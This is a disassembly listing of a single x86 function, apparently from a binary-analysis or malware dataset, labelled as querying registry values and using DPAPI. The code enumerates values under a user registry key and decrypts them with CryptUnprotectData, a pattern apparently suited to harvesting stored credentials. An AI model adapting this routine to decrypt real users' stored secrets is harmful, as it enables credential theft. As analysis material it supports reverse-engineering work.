Function at 0x4128a0
Capabilities:
Encrypt data using dpapi
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
mov ecx, 0xd
push 0
push 0
dec ecx
jne 0x4128a9
xchg dword [ebp - 4], ecx
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00403b78
xor eax, eax
push ebp
push 0x412cef
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x4c]
call fcn.004029e4
xor eax, eax
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x14]
push eax
push 1
push 0
push ebx
push 0x80000001
call sub.advapi32.dll_RegOpenKeyExA
test eax, eax
jne 0x412a65
mov dword [ebp - 0x18], 0x400
mov eax, dword [ebp - 0x18]
call fcn.004011dc
mov esi, eax
jmp 0x412a40
mov dword [ebp - 0x18], 0x400
mov eax, dword [ebp - 4]
call fcn.00403954
mov edi, eax
test edi, edi
jl 0x412a33
inc edi
xor ebx, ebx
lea edx, [ebp - 0x10]
mov eax, dword [ebp - 4]
mov eax, dword [eax + ebx*4]
call fcn.00412440
lea eax, [ebp - 0x20]
push eax
push 0
lea eax, [ebp - 0x1c]
push eax
push 0
push esi
mov eax, dword [ebp - 0x14]
push eax
call sub.advapi32.dll_RegQueryValueExA
mov eax, dword [ebp - 0x20]
push eax
lea eax, [ebp - 0x24]
mov ecx, 1
mov edx, dword [0x41287c]
call fcn.00403b08
add esp, 4
lea eax, [ebp - 0x20]
push eax
mov eax, dword [ebp - 0x24]
push eax
lea eax, [ebp - 0x1c]
push eax
push 0
push esi
mov eax, dword [ebp - 0x14]
push eax
call sub.advapi32.dll_RegQueryValueExA
test eax, eax
jne 0x412a2b
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + ebx*4]
mov dword [ebp - 0x38], eax
lea eax, [ebp - 0x50]
mov edx, dword [ebp - 4]
mov edx, dword [edx + ebx*4]
call fcn.00403188
mov eax, dword [ebp - 0x50]
call fcn.004031e4
inc eax
add eax, eax
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0x34]
push eax
push 1
push 0
push 0
lea eax, [ebp - 0x3c]
push eax
push 0
lea eax, [ebp - 0x2c]
push eax
call sub.crypt32.dll_CryptUnprotectData
test eax, eax
je 0x412a2b
push dword [ebp - 0x4c]
push 0x412d08
lea eax, [ebp - 0x54]
mov edx, dword [ebp - 4]
mov edx, dword [edx + ebx*4]
call fcn.00402c00
push dword [ebp - 0x54]
push 0x412d1c
lea eax, [ebp - 0x4c]
mov edx, 4
call fcn.00402d20
push dword [ebp - 0x4c]
lea ecx, [ebp - 0x58]
mov edx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x30]
call fcn.00412614
push dword [ebp - 0x58]
push 0x412d28
lea eax, [ebp - 0x4c]
mov edx, 3
call fcn.00402d20
inc ebx
dec edi
jne 0x41292e
mov edx, dword [ebp - 0x18]
mov eax, esi
call fcn.004045b4
inc dword [ebp - 0xc]
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x18]
push eax
push esi
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 0x14]
push eax
call sub.advapi32.dll_RegEnumValueA
cmp eax, 0x103
jne 0x412912
mov eax, dword [ebp - 0x14]
push eax
call sub.advapi32.dll_RegCloseKey
jmp 0x412c7b
lea eax, [ebp - 0x44]
push eax
mov edx, dword [ebp - 0x4c]
mov eax, 0x412d28
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0x4c]
call fcn.00402eb4
mov edx, dword [ebp - 0x4c]
mov eax, 0x412d28
call fcn.00402f98
mov ecx, eax
inc ecx
lea eax, [ebp - 0x4c]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 0x5c]
push eax
lea eax, [ebp - 0x60]
mov ecx, 0x412d28
mov edx, dword [ebp - 0x44]
call fcn.00402cac
mov eax, dword [ebp - 0x60]
mov ecx, dword [ebp - 0x4c]
xor edx, edx
call fcn.00412780
mov edx, dword [ebp - 0x5c]
lea eax, [ebp - 0x4c]
call fcn.00402a7c
lea eax, [ebp - 0x64]
push eax
mov edx, dword [ebp - 0x44]
mov eax, 0x412d34
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0x44]
call fcn.00402eb4
mov eax, dword [ebp - 0x64]
mov edx, 0x412d40
call fcn.00402da4
jne 0x412c7b
mov edx, dword [ebp - 0x44]
mov eax, 0x412d50
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 0x44]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 0x40]
push eax
mov edx, dword [ebp - 0x44]
mov eax, 0x412d1c
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0x44]
call fcn.00402eb4
mov edx, dword [ebp - 0x44]
mov eax, 0x412d1c
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 0x44]
mov edx, 1
call fcn.00402ef4
jmp 0x412c66
mov edx, dword [ebp - 0x44]
mov eax, 0x412d50
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 0x44]
mov edx, 1
call fcn.00402ef4
push dword [ebp - 0x48]
push dword [ebp - 0x40]
push 0x412d1c
lea eax, [ebp - 0x68]
push eax
mov edx, dword [ebp - 0x44]
mov eax, 0x412d1c
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0x44]
call fcn.00402eb4
push dword [ebp - 0x68]
push 0x412d1c
lea eax, [ebp - 0x48]
mov edx, 5
call fcn.00402d20
mov edx, dword [ebp - 0x44]
mov eax, 0x412d1c
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 0x44]
mov edx, 1
call fcn.00402ef4
mov edx, dword [ebp - 0x44]
mov eax, 0x412d50
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 0x44]
mov edx, 1
call fcn.00402ef4
push dword [ebp - 0x48]
lea eax, [ebp - 0x6c]
push eax
mov edx, dword [ebp - 0x44]
mov eax, 0x412d1c
call fcn.00402f98
mov ecx, eax
dec ecx
mov edx, 1
mov eax, dword [ebp - 0x44]
call fcn.00402eb4
push dword [ebp - 0x6c]
push 0x412d1c
lea eax, [ebp - 0x48]
mov edx, 3
call fcn.00402d20
mov edx, dword [ebp - 0x44]
mov eax, 0x412d1c
call fcn.00402f98
mov ecx, eax
lea eax, [ebp - 0x44]
mov edx, 1
call fcn.00402ef4
lea eax, [ebp - 0x48]
mov edx, 0x412d28
call fcn.00402c68
mov edx, dword [ebp - 0x44]
mov eax, 0x412d1c
call fcn.00402f98
test eax, eax
jg 0x412b6f
mov edx, dword [ebp - 0x4c]
mov eax, 0x412d28
call fcn.00402f98
test eax, eax
jg 0x412a73
mov eax, dword [ebp - 8]
mov edx, dword [ebp - 0x48]
call fcn.00402a38
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x412cf6
lea eax, [ebp - 0x6c]
mov edx, 7
call fcn.00402a08
lea eax, [ebp - 0x50]
call fcn.0040309c
lea eax, [ebp - 0x4c]
mov edx, 4
call fcn.00402a08
lea eax, [ebp - 0x24]
mov edx, dword [0x41287c]
call fcn.00403b14
lea eax, [ebp - 0x10]
call fcn.004029e4
lea eax, [ebp - 4]
mov edx, dword [0x412184]
call fcn.00403b14
ret